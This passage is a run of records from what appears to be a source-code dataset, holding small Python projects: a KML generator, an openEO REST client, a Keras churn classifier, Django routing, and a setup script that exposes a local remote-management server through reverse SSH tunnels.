ast_expression\n \"\"\"\n lhs_type = node.get_lhs().type\n rhs_type = node.get_rhs().type\n arith_op = node.get_binary_operator()\n lhs_type.referenced_object = node.get_lhs()\n rhs_type.referenced_object = node.get_rhs()\n node.type = ErrorTypeSymbol()\n if arith_op.is_plus_op:\n node.type = lhs_type + rhs_type\n elif arith_op.is_minus_op:\n node.type = lhs_type - rhs_type\n if isinstance(node.type, ErrorTypeSymbol):\n code, message = Messages.get_binary_operation_type_could_not_be_derived(lhs=str(node.get_lhs()), operator=str(arith_op), rhs=str(node.get_rhs()), lhs_type=str(lhs_type.print_nestml_type()), rhs_type=str(rhs_type.print_nestml_type()))\n Logger.log_message(code=code, message=message, error_position=node.get_source_position(), log_level=LoggingLevel.ERROR)","sub_path":"pycfiles/NESTML-3.1-py3.5/ast_line_operation_visitor.cpython-35.py","file_name":"ast_line_operation_visitor.cpython-35.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"396795726","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jan 27 16:08:51 2018\n\n@author: rohithbharatha\n\"\"\"\n\nimport pandas\nimport simplekml\nimport tkinter\nfrom tkinter.filedialog import askopenfilename\n\n\ndef Browse():\n global infile\n infile=askopenfilename()\n \n\ndef kmlFunction(outfile=\"/Users/rohithbharatha/Desktop/python scripts/points.kml\"):\n kml=simplekml.Kml()\n df=pandas.read_csv(infile)\n for lon,lat in zip(df[\"Longitude\"],df[\"Latitude\"]):\n kml.newpoint(coords=[(lon,lat)])\n kml.save(outfile)\n \nroot=tkinter.Tk()\nroot.title(\"The Kml Generator\")\nlabel=tkinter.Label(root,text=\"This program is to generate KML files\")\nlabel.pack()\nbrowseButton=tkinter.Button(root,text=\"Browse\",command=Browse)\nbrowseButton.pack()\nkmlButton=tkinter.Button(root,text=\"KML Generator\",command=kmlFunction)\nkmlButton.pack()\nroot.mainloop()","sub_path":"newtinkerwithpandassimplekml.py","file_name":"newtinkerwithpandassimplekml.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"118107211","text":"import requests\nfrom requests.auth import HTTPBasicAuth\nimport tempfile\nimport json\n\nclass Connection:\n\n def connect(self, url, username=None, password=None) -> bool:\n \"\"\"\n Authenticates a user to the backend using auth class.\n :param url: String Backend endpoint url\n :param username: String Username credential of the user\n :param password: String Password credential of the user\n \"\"\"\n\n self._url = url\n self.token = None\n self.username=username\n\n if username and password:\n token = requests.get(self._url + '/credentials/basic',\n auth=HTTPBasicAuth(username, password))\n\n if token.status_code == 200:\n self.token = token.json()[\"access_token\"]\n else:\n return False\n return True\n\n def get_header(self):\n \"\"\"\n Returns the header (used for a request) with e.g. the authentication token.\n :return: header: Dict\n \"\"\"\n\n if self.token:\n return {'Authorization': 'Bearer {}'.format(self.token)}\n else:\n return {}\n\n def get_auth(self):\n \"\"\"\n Returns the authentication type (used for a request).\n :return: auth type: Dict\n \"\"\"\n return None\n\n def list_processes(self) -> dict:\n # TODO: Maybe format the result dictionary so that the process_id is the key of the dictionary.\n \"\"\"\n Loads all available processes of the back end.\n :return: processes_dict: Dict All available processes of the back end.\n \"\"\"\n processes = self.get('/processes', auth=False)\n\n if processes:\n response = self.parse_json_response(processes)\n\n if \"processes\" in response:\n return response[\"processes\"]\n\n return []\n\n def list_collections(self) -> dict:\n \"\"\"\n Loads all available imagecollections types.\n :return: data_dict: Dict All available data types\n \"\"\"\n data = self.get('/collections', auth=False)\n\n if data:\n response = self.parse_json_response(data)\n\n if \"collections\" in response:\n return response[\"collections\"]\n\n return []\n\n def user_jobs(self) -> dict:\n \"\"\"\n Loads all jobs of the current user.\n :return: jobs: Dict All jobs of the user\n \"\"\"\n jobs = self.get('/jobs', auth=True)\n\n if jobs:\n jobs = self.parse_json_response(jobs)\n\n if \"jobs\" in jobs:\n jobs = jobs[\"jobs\"]\n return jobs\n\n return []\n\n def job_start(self, job_id):\n \"\"\"\n Starts the execution of a job at the backend.\n :param: job_id: Identifier of the job\n :return: jobs: Dict All jobs of the user\n \"\"\"\n request = self.post(\"/jobs/{}/results\".format(job_id), postdata=None)\n return request.status_code\n\n def job_result_url(self, job_id):\n \"\"\"\n Get the url of the job result.\n :param: job_id: Identifier of the job\n :return: url: String, URL of the result image.\n \"\"\"\n download_url = \"/jobs/{}/results\".format(job_id)\n r = self.get(download_url, stream=True)\n if r.status_code == 200:\n url = r.json()\n if \"links\" in url:\n download_url = url[\"links\"][0]\n if \"href\" in download_url:\n download_url = download_url[\"href\"]\n return download_url\n return None\n\n def job_result_download(self, job_id):\n \"\"\"\n Downloads the result of the job into the temporary folder.\n :param: job_id: Identifier of the job\n :return: path: String, path to the downloaded result image.\n \"\"\"\n download_url = \"/jobs/{}/results\".format(job_id)\n r = self.get(download_url, stream=True)\n\n if r.status_code == 200:\n\n url = r.json()\n if \"links\" in url:\n download_url = url[\"links\"][0]\n if \"href\" in download_url:\n download_url = download_url[\"href\"]\n\n auth_header = self.get_header()\n\n target = tempfile.gettempdir()+\"/{}\".format(job_id)\n\n with open(target, 'wb') as handle:\n response = requests.get(download_url, stream=True, headers=auth_header)\n\n if not response.ok:\n print(response)\n\n for block in response.iter_content(1024):\n\n if not block:\n break\n handle.write(block)\n\n return target\n\n return None\n\n def job_create(self, process_graph):\n \"\"\"\n Sends the process graph to the backend and creates a new job.\n :param: process_graph: Dict, Process Graph of the new job\n :return: status: String, Status of the job creation\n \"\"\"\n pg = {\n \"process_graph\": process_graph\n }\n #print(process_graph)\n\n job_status = self.post(\"/jobs\", postdata=pg)\n\n #if job_status.status_code == 201:\n # return job_status\n\n return job_status\n\n def post(self, path, postdata):\n \"\"\"\n Makes a RESTful POST request to the back end.\n :param path: URL of the request (without root URL e.g. \"/data\")\n :param postdata: Data of the post request\n :return: response: Response\n \"\"\"\n\n auth_header = self.get_header()\n auth = self.get_auth()\n return requests.post(self._url+path, json=postdata, headers=auth_header, auth=auth)\n\n def delete(self, path):\n \"\"\"\n Makes a RESTful DELETE request to the back end.\n :param path: URL of the request (without root URL e.g. \"/data\")\n :return: response: Response\n \"\"\"\n\n auth_header = self.get_header()\n auth = self.get_auth()\n return requests.delete(self._url+path, headers=auth_header, auth=auth)\n\n def patch(self, path):\n \"\"\"\n Makes a RESTful PATCH request to the back end.\n :param path: URL of the request (without root URL e.g. \"/data\")\n :return: response: Response\n \"\"\"\n auth_header = self.get_header()\n auth = self.get_auth()\n return requests.patch(self._url+path, headers=auth_header, auth=auth)\n\n def put(self, path, header={}, data=None):\n \"\"\"\n Makes a RESTful PUT request to the back end.\n :param path: URL of the request (without root URL e.g. \"/data\")\n :param header: header that gets added to the request.\n :param data: data that gets added to the request.\n :return: response: Response\n \"\"\"\n auth_header = self.get_header()\n auth = self.get_auth()\n\n # Merge headers\n head = auth_header.copy()\n head.update(header)\n\n if data:\n return requests.put(self._url+path, headers=head, data=data, auth=auth)\n else:\n return requests.put(self._url+path, headers=head, auth=auth)\n\n def get(self, path, stream=False, auth=True):\n \"\"\"\n Makes a RESTful GET request to the back end.\n :param path: URL of the request (without root URL e.g. \"/data\")\n :param stream: True if the get request should be streamed, else False\n :param auth: True if the get request should be authenticated, else False\n :return: response: Response\n \"\"\"\n\n if auth:\n auth_header = self.get_header()\n auth = self.get_auth()\n else:\n auth_header = {}\n auth = None\n\n try:\n resp = requests.get(self._url + path, headers=auth_header, stream=stream, auth=auth)\n return resp\n except:\n return None\n\n\n def parse_json_response(self, response: requests.Response):\n \"\"\"\n Parses json response, if an error occurs it raises an Exception.\n :param response: Response of a RESTful request\n :return: response: JSON Response\n \"\"\"\n if response.status_code == 200 or response.status_code == 201:\n return response.json()\n else:\n return None","sub_path":"openeo-qgis-plugin-master/models/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":8209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"15547155","text":"import urllib\r\n\r\n\r\ndef read_stat():\r\n url = \"https://happyrefund.apthai.com/datashare/linechatbot/covid-th.txt\"\r\n file = urllib.request.urlopen(url)\r\n\r\n list_msg = []\r\n\r\n for line in file:\r\n decoded_line = line.decode(\"utf-8\")\r\n list_msg.append(decoded_line)\r\n\r\n return list_msg\r\n","sub_path":"libs/covid_read_stat.py","file_name":"covid_read_stat.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"197774965","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 30 18:12:05 2018\n\n@author: Avneet\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('Churn_Modelling.csv')\nX = dataset.iloc[:, 3:13].values\ny = dataset.iloc[:, 13].values\n\n\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X_1 = LabelEncoder()\nX[:, 1] = labelencoder_X_1.fit_transform(X[:, 1])\nlabelencoder_X_2 = LabelEncoder()\nX[:, 2] = labelencoder_X_2.fit_transform(X[:, 2])\nonehotencoder = OneHotEncoder(categorical_features = [1])\nX = onehotencoder.fit_transform(X).toarray()\nX = X[:, 1:]\n\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\n# Fitting classifier to the Training set\n# Create your classifier here\n# Make an ann Import keras lib and its dependens\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n#Initialize the ann by def it as seq of layers\nclassifier=Sequential()\n# add different layer to the ann\n# first hidden layer\nclassifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu',input_dim=11))\n\n# add more hiden layers\nclassifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu'))\n\n# add the output layer\nclassifier.add(Dense(units=1,kernel_initializer='uniform',activation='sigmoid'))\n\n# compiling the whole ann \nclassifier.compile(optimizer='adam',loss='binary_crossentropy',metrics=['accuracy'])\n\n# fitting ann to training set\nclassifier.fit(X_train,y_train,batch_size=10,nb_epoch=100)\n# Predicting the Test set results\ny_pred = classifier.predict(X_test)\ny_pred=(y_pred>0.5)\n\n\nnew_pred=classifier.predict(sc.transform(np.array([[0.0,0,600,1,40,3,60000,2,1,1,50000]])))\nnew_pred=(new_pred>0.5)\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\n\n\n# K4 cross validation\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.model_selection import cross_val_score\n# Keras classifier requires a function as an argumen so w e first make that func\ndef build_classifier():\n \n classifier=Sequential()\n classifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu',input_dim=11))\n classifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu'))\n classifier.add(Dense(units=1,kernel_initializer='uniform',activation='sigmoid'))\n classifier.compile(optimizer='adam',loss='binary_crossentropy',metrics=['accuracy'])\n return classifier\n\n#Wrapper for keras to wrap the sklearn inside the keras library\n # new classifier is trained with k4 \nclassifier = KerasClassifier(build_fn = build_classifier, batch_size = 10, epochs = 100)\naccuracies = cross_val_score(estimator = classifier, X = X_train, y = y_train, cv = 10, n_jobs = -1)\n#accuracy to store 10 dif accuracies return by cross validation function\nmean = accuracies.mean()\nvariance = accuracies.std()\n\n\n\n\n","sub_path":"Deep_Learning_A_Z/Volume 1 - Supervised Deep Learning/Part 1 - Artificial Neural Networks (ANN)/Artificial_Neural_Networks/ann2.py","file_name":"ann2.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"508300890","text":"from django.conf.urls import url, include\nfrom rest_framework import routers\nfrom musical_api import views\n\nrouter = routers.DefaultRouter()\nrouter.register(r'artists', views.ArtistsViewSet)\nrouter.register(r'genres', views.GenresViewSet)\nrouter.register(r'albums', views.AlbumsViewSet)\nrouter.register(r'songs', views.SongsViewSet)\nrouter.register(r'customers', views.CustomersViewSet)\n\n\n# Wire up our API using automatic URL routing.\n# Additionally, we include login URLs for the browsable API.\nurlpatterns = [\n url(r'^', include(router.urls)),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework'))\n]","sub_path":"music_api/music_api/music_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"124798121","text":"# -*- coding:utf-8 -*-\nclass Solution:\n def IsContinuous(self, numbers):\n # write code here\n if len(numbers)!=5:\n return False\n _max,_min=-1,14\n flag=0\n for num in numbers:\n if num<0 or num>13:return False\n if num==0:\n continue\n if (flag>>num)&1==1:\n return False\n flag|=(1<_max: _max=num\n if num<_min: _min=num\n if _max-_min>=5:return False\n return True\n","sub_path":"python/45.py","file_name":"45.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"361458328","text":"# Defines variable \"tabby_cat\" as a string and uses the escape sequence \\t to\r\n# tab it in when displayed.\r\ntabby_cat = \"\\tI'm tabbed in.\"\r\n# Defines variable \"persian_cat\" as a string and uses the escape sequence \\n\r\n# to display the second half on a new line.\r\npersian_cat = \"I'm split\\non a line.\"\r\n# Defines variable \"backslash_cat\" as a string and uses a simple \\ escape to\r\n# display one single \\ in the text without potentially causing formatting\r\n# issues.\r\nbackslash_cat = \"I'm \\\\ a \\\\ cat.\"\r\n\r\n# Defines variable \"fat_cat\" as a multi-line string and uses \\t escape\r\n# sequences to tab in the items on the list for formatting. Also demonstrates\r\n# the usage of \\n to form a new line.\r\nfat_cat = '''\r\nI'll do a list:\r\n\\t* Cat food\r\n\\t* Fishies\r\n\\t* Catnip\\n\\t* Grass\r\n'''\r\n\r\n# Each of these simply prints the defined variables.\r\nprint(tabby_cat)\r\nprint(persian_cat)\r\nprint(backslash_cat)\r\nprint(fat_cat)\r\n","sub_path":"Exercises 1 - 10/ex10/ex10a.py","file_name":"ex10a.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"255551672","text":"#!/usr/bin/env python\nimport collections\nimport json\nimport os\nimport sys\nfrom orderdict import orderdict\n\n# https://docs.npmjs.com/files/package.json\n\n\nKEYS = [\n \"name\",\n \"version\",\n \"description\",\n \"keywords\",\n \"homepage\",\n \"bugs\",\n \"license\", # https://docs.npmjs.com/files/package.json#license\n \"files\",\n \"main\",\n \"browser\",\n \"bin\",\n \"man\",\n \"directories\",\n \"repository\",\n \"scripts\",\n \"dependencies\",\n \"devDependencies\",\n \"peerDependencies\",\n \"bundledDependencies\",\n \"optionalDependencies\",\n \"engines\",\n \"engineStrict\",\n \"os\", # https://docs.npmjs.com/files/package.json#os\n \"cpu\",\n \"private\",\n \"publishConfig\"\n]\n\nLIST_KEYS = [\n \"keywords\",\n \"os\"\n]\n\n# https://docs.npmjs.com/misc/scripts\nSCRIPTS_KEYS = [\n \"prepublish\",\n \"prepare\"\n \"prepublishOnly\",\n \"prepack\",\n \"postpack\",\n \"publish\", \"postpublish\",\n \"preinstall\",\n \"install\", \"postinstall\",\n \"preuninstall\", \"uninstall\",\n \"postuninstall\"\n \"preversion\",\n # \"version\", # conflicts with version key\n \"postversion\",\n \"pretest\", \"test\", \"posttest\",\n \"prestop\", \"stop\", \"poststop\",\n \"prestart\", \"start\", \"poststart\",\n \"prerestart\", \"restart\", \"postrestart\",\n \"preshrinkwrap\", \"shrinkwrap\", \"postshrinkwrap\"\n]\n\n\nEXCLUDE = [\".DS_Store\"]\n\n\ndef _getenv(key):\n for _key in [key.lower(), key.upper()]:\n if _key in os.environ:\n return os.environ[_key].lstrip().rstrip()\n\n\ndef bin(path):\n # todo: depth\n result = dict()\n if path and path[0] == \"/\":\n raise ValueError(\"fullpath not allowed - '%s'\" % path)\n if os.path.exists(path) and os.path.isdir(path):\n listdir = os.listdir(path)\n for l in listdir:\n if l in EXCLUDE:\n continue\n relpath = os.path.join(path, l).replace(os.getcwd() + os.sep, \"\")\n if os.path.isfile(relpath):\n if relpath.find(\"./\") != 0:\n relpath = \"./%s\" % relpath\n result[l] = relpath\n return result\n\n\ndef _scripts_env():\n result = collections.OrderedDict()\n for key in SCRIPTS_KEYS:\n value = _getenv(key)\n if value:\n result[key] = value\n return result\n\n\ndef read_env():\n result = dict()\n for key in KEYS:\n value = _getenv(key)\n if value:\n result[key] = value\n if \"bin\" in result:\n result[\"bin\"] = bin(result[\"bin\"])\n for key in LIST_KEYS:\n if key in result:\n result[key] = result[key].split(\" \")\n scripts = _scripts_env()\n if scripts:\n result[\"scripts\"] = scripts\n return result\n\n\ndef beautify(*args, **kwargs):\n inputdict = dict(*args, **kwargs)\n ordereddict = orderdict(KEYS, inputdict)\n return json.dumps(ordereddict, indent=2)\n\n\nUSAGE = 'usage: python -m %s' % __file__.split(\"/\")[-1].split(\".\")[0]\n\n\ndef _cli():\n data = read_env()\n if data:\n print(beautify(data))\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 2 and sys.argv[1] == \"--help\":\n print(USAGE)\n sys.exit(0)\n _cli()\n","sub_path":"package_json.py","file_name":"package_json.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"335972219","text":"import socket\nimport subprocess\nfrom contextlib import closing\nimport subprocess\nimport json\n\n\nprint(\"REMOTE MANAGER SERVER SETUP\")\nprint(\"---------------------------\")\nprint()\nprint(\"Please provide 3 ports for the server, and two terminal apps: \")\nprint(\"IMPORTANT: PORTS MUST BE AVAILABE ON MACHINE\")\nlocal_ports = []\nwhile 1:\n port_gen = input(\"Auto generate free ports? y/n \")\n if port_gen.lower() == \"y\":\n for i in range(3):\n with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s:\n s.bind(('', 0))\n local_ports.append(s.getsockname()[1])\n break\n if port_gen.lower() == \"n\":\n print(\"Please input ports: \")\n for i in range(3):\n local_ports.append(input())\n break\n else:\n print(\"Invalid input!\")\n continue\n\n\nprint(\"Local ports to be used: \", local_ports)\nprint()\n\nwith open(\"config.json\", \"r+\") as f:\n config = json.load(f)\n # update json here\n config[\"local ports\"] = local_ports\n f.seek(0)\n f.truncate()\n json.dump(config, f)\n\n\nprint(\"---------------------------\")\nprint(\"Creating a User: \")\nprint(\"This user will be used to log in to the site\")\nprint(\"---------------------------\")\nusername = input(\"Username: \")\npassword = input(\"Password: \")\nprint()\nprint(\"To change the username and password, change relevant fields in config.json, or run this script again\") # I think\nprint()\n\nwith open(\"config.json\", \"r+\") as f:\n config = json.load(f)\n config[\"username\"] = username\n f.seek(0)\n f.truncate()\n json.dump(config, f)\n config[\"password\"] = password\n f.seek(0)\n f.truncate()\n json.dump(config, f)\n\n\ndef configure_ssh_tunnel():\n server_ports = []\n print(\"Please provide 3 ports to be used by the tunneling on the ssh server: \")\n print(\"IMPORTANT: PORTS MUST BE AVAILABE ON SERVER\")\n\n print(\"Please input ports: \")\n for i in range(3):\n server_ports.append(input())\n\n print()\n server_address = input(\"Please input the server address: \")\n server_addr = input(\"Please input user and server address (user@server): \")\n json_list = []\n json_list.append(server_address)\n json_list.append(server_addr)\n json_list.append(server_ports)\n with open(\"config.json\", \"r+\") as f:\n config = json.load(f)\n # update json here\n config[\"server\"] = json_list\n f.seek(0)\n f.truncate()\n json.dump(config, f)\n\n print(\"Attempting to create tunnel with ports: \", server_ports)\n\n command = [\"ssh\", \"-q\", \"-fN\", \"-R\",\n \"{}:localhost:{}\".format(server_ports[0], local_ports[0]), server_addr]\n\n if subprocess.call(command) == 255:\n print(\"FAILED TO ESTABLISH TUNNEL, EXITING\")\n return 255\n\n command = [\"ssh\", \"-q\", \"-fN\", \"-R\",\n \"{}:localhost:{}\".format(server_ports[1], local_ports[1]), server_addr]\n\n if subprocess.call(command) == 255:\n print(\"FAILED TO ESTABLISH TUNNEL, EXITING\")\n return 255\n\n command = [\"ssh\", \"-q\", \"-fN\", \"-R\",\n \"{}:localhost:{}\".format(server_ports[2], local_ports[2]), server_addr]\n\n if subprocess.call(command) == 255:\n print(\"FAILED TO ESTABLISH TUNNEL, EXITING\")\n return 255\n\n\nprint(\"Accessing the server: \")\nprint(\"(1) - Manual (Server will open on 0.0.0.0. Requires additional network configuring\")\nprint(\"(2) - SSH Tunneling (Requires access to external SSH server) (Recommended)\")\nwhile 1:\n access_mode = input(\"1 / 2: \")\n if access_mode == \"1\":\n json_list = []\n json_list.append(\"0.0.0.0\")\n json_list.append(\"0.0.0.0\")\n json_list.append(local_ports)\n with open(\"config.json\", \"r+\") as f:\n config = json.load(f)\n # update json here\n config[\"server\"] = json_list\n f.seek(0)\n f.truncate()\n json.dump(config, f)\n running_str = config[\"server\"][0] + \":\" + str(config[\"local ports\"][0])\n access_str = config[\"server\"][0] + \":\" + str(config[\"server\"][2][0])\n print(\"start server\")\n try:\n run_mode = input(\"Start in debug mode? (Not recommened, will use extra space on hard drive!) y/n \")\n if run_mode.lower() == \"y\":\n print(\"Debug mode selected, see nohup.out for logs\")\n print(\"Server running on: \", running_str)\n subprocess.call([\"nohup\", \"python3\", \"fserver.py\", \"&\", \"diswon\"])\n if run_mode.lower() == \"n\":\n print(\"NO\")\n print(\"Server running on: \", running_str)\n print(\"NOTE: Deleting nohup.out is recommended\")\n subprocess.call([\"nohup\", \"python3\", \"fserver.py\", \">/dev/null 2>&1\", \"&\", \"diswon\"])\n \n print()\n print(\"Server should now be set up, thanks!\")\n break\n except OSError as e:\n print(\"Execution failed: \", e)\n break\n if access_mode == \"2\":\n try:\n if configure_ssh_tunnel() == 255:\n print(\"FAILED TO ESTABLISH TUNNEL, EXITING\")\n else:\n running_str = \"0.0.0.0:\" + str(config[\"local ports\"][0])\n access_str = config[\"server\"][0] + \":\" + str(config[\"server\"][2][0])\n print(\"Server running on: \", running_str)\n print(\"Server accessible via: \", access_str)\n print(\"Server should now be set up, thanks! You may close this window.\")\n print(\"NOTE: Deleting nohup.out is recommended\")\n subprocess.call(\n [\"nohup\", \"python3\", \"fserver.py\", \"&\", \"diswon\"])\n print()\n break\n except OSError as e:\n print(\"Execution failed: \", e)\n break\n else:\n print(\"Invalid input!\")\n continue\n\n\n# >/dev/null 2>&1 doesn't create nohup.out\n\n# To kill server and all thats related to it:\n# ps aux | grep ssh\n# kill -9 PID of ssh tunnel (Fress up the ports on remote server as well)\n# ps aux | grep python\n# kill -9 PID of python3 fserver.py & diswon\n# killall gotty\n# In order to verify that everything is closed run netstat -tulpn and check for gotty/python/etc...\n\n# https://unix.stackexchange.com/questions/46235/how-does-reverse-ssh-tunneling-work\n# https://unix.stackexchange.com/questions/3886/difference-between-nohup-disown-and\n","sub_path":"start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"17220353","text":"import math,string,itertools,fractions,heapq,collections,re,array,bisect,sys,random,time, copy,bisect\n#from operator import itemgetter\n#from heapq import heappush, heappop\n#import numpy as np\n#from scipy.sparse.csgraph import breadth_first_order, depth_first_order, shortest_path, floyd_warshall, dijkstra, bellman_ford, johnson\n#from scipy.sparse import csr_matrix\n#from decimal import Decimal, ROUND_HALF_UP, ROUND_HALF_EVEN\nimport sys\n\nsys.setrecursionlimit(10**7)\ninf = 10**20\nmod = 10**9 + 7\n\nstdin = sys.stdin\n\nni = lambda: int(ns())\nnf = lambda: float(ns())\nna = lambda: list(map(int, stdin.readline().split()))\nnb = lambda: list(map(float, stdin.readline().split()))\nns = lambda: stdin.readline().rstrip() # ignore trailing spaces\n\nX, N = na()\np = na()\nkouho = []\nfor i in range(-100, 200):\n if i in p:\n continue\n kouho.append((abs(X - i), i))\nprint(min(kouho)[1])","sub_path":"Python_codes/p02641/s304902058.py","file_name":"s304902058.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"114787080","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 6 12:22:01 2021\r\n\r\n@author: Gurkan\r\n\"\"\"\r\n\r\n#kutuphaneler\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\n\r\n#kodlar\r\n#veri yükleme\r\n\r\nveriler = pd.read_csv(\"veriler.csv\")\r\n\r\nprint(veriler)\r\n#veri ön işleme\r\nboy = veriler[[\"boy\"]]\r\nprint(boy)\r\n\r\nboykilo = veriler[[\"boy\",\"kilo\"]]\r\nprint(boykilo)\r\n\r\nx = 10\r\n\r\nclass insan:\r\n boy = 180\r\n def kosmak(self,b):\r\n return b + 10\r\n \r\nali = insan()\r\nprint(ali.boy)\r\nprint(ali.kosmak(90))\r\n\r\n","sub_path":"veriyukleme.py","file_name":"veriyukleme.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"82344797","text":"from flask import Flask, request\nimport config\nimport json\n\napp = Flask(__name__)\n\n\ndef start():\n app.run(host=config.host, port=config.port,\n debug=config.debug)\n\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index():\n return \"Hello, Podcast!\"\n\n\n@app.route(\"/create\", methods=[\"POST\"])\ndef create_container():\n if request.method == \"POST\":\n print(json.loads(request.data))\n return \"Create, World!\"\n\n\nif __name__ == \"__main__\":\n start()\n","sub_path":"podcast/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"649194769","text":"#!/usr/bin/env python\nfrom ciscoconfparse.ciscoconfparse import CiscoConfParse\nfrom SymnetParser import SymnetParser\nimport re\nimport os\n\nfrom functools import reduce\n\n# questions:\n# 1. what does a switch do, if it cannot establish on which port to forward a frame? Broadcasting is a vulnerability, right?\n# 2. Does the trunking protocol permit any VLAN, or only does configured on the switch?\n# 3. Native VLANs\n\n\nclass SwitchGenerator:\n tab = \" \"\n port_vlan = {}\n mac = {}\n id = 0\n func_name = \"gen_switch\"\n \n def __init__(self, id, spanning_tree, mac_tables):\n \n self.id = id\n # \n # Step 1: process the output of show spanning-tree\n # parse the file\n parse = SymnetParser(CiscoConfParse(spanning_tree))\n # clean out everything except VLANs and subsequent interfaces, on which FWD is set\n clean_conf_lines = parse.find_lines(\"^VLAN|^[^ I-].*FWD*\")\n # add tabs to interfaces, so that they become children to the appropriate VLAN\n struct_conf_lines = []\n for line in clean_conf_lines:\n if line.startswith(\"VLAN\"):\n struct_conf_lines.append(line)\n else: \n struct_conf_lines.append(self.tab+line)\n # re-parse the cleaned-out and structured output\n parse = SymnetParser(CiscoConfParse(struct_conf_lines))\n\n vlanlist = parse.find_lines(\"^VLAN\")\n # for each vlan\n for vlan in vlanlist:\n vlan_ch = parse.find_all_children(vlan)\n for child in vlan_ch:\n port = child.lstrip().split(\" \")[0]\n if port in self.port_vlan:\n self.port_vlan[port].append(vlan)\n else:\n self.port_vlan[port] = [vlan]\n \n # Step 2: process the output of show mac-addresses\n parse = SymnetParser(CiscoConfParse(mac_tables))\n # ignore the first part of the output\n clean_conf_lines = parse.find_lines(\"^.*[0-9]\")\n for line in clean_conf_lines:\n #remove the first whitespaces completely, and replace all other multiple whitespaces with a single one\n entry = re.sub('^ +','',re.sub(' +',' ',line)).split(\" \")\n if entry[1] in self.mac:\n self.mac[entry[1]].append((entry[0],entry[3]))\n else:\n self.mac[entry[1]]=[(entry[0],entry[3])]\n \n def gen_string (self,str):\n return \"\\\"\"+str+\"\\\"\"\n \n def gen_str_list (self, list):\n return self.gen_list(self.gen_string,list)\n \n def gen_list (self, f, list):\n #generate a haskell list, and apply the transformation f on each element\n return \"[\"+reduce (lambda x, y:x+\",\"+y,map(f,list))+\"]\"\n\n def gen_dict_list (self,list):\n # creates a list out of a dictionary list\n # list may be of type [String] or [(String,String)]\n if isinstance(list[0],tuple):\n return self.gen_list(lambda p: self.gen_str_pair(p),list)\n else:\n return self.gen_str_list(list)\n \n def gen_pair (self, f,g, item):\n # each of the functions f and g transform the pair components \n return \"(\"+f(item[0])+\",\"+g(item[1])+\")\"\n def gen_str_pair (self, item):\n # makes each of the pair components into a string\n return self.gen_pair(self.gen_string,self.gen_string,item)\n \n def gen_dict_pair(self,item):\n # we use this function to create a pair out of a dictionary entry\n # dictionary entries are of type: String => [String] or String =>[(String,String)] \n return self.gen_pair(self.gen_string,self.gen_dict_list,item)\n\n def gen_dictionary (self, dict):\n # we make the assumption that a dictionary is of type \n return self.gen_list(lambda x:x,map(lambda i:self.gen_dict_pair(i),dict.items()))\n \n def gen_haskell_output(self):\n return \"r\"+str(self.id)+\" = \"+self.func_name+\" \"+self.gen_dictionary(self.port_vlan)+\" \"+self.gen_dictionary(self.mac)\n\nclass TopologyGenerator:\n\n switch_list = {}\n span_tpl = \"Span-\"\n mac_tpl = \"Mac-\"\n extension = \".txt\"\n config_dir = \"./\"\n \n def __init__(self,config_dir):\n # we assume switches are given as pairs of configuration files:\n # Span-switchId and Mac-switchId\n self.config_dir = 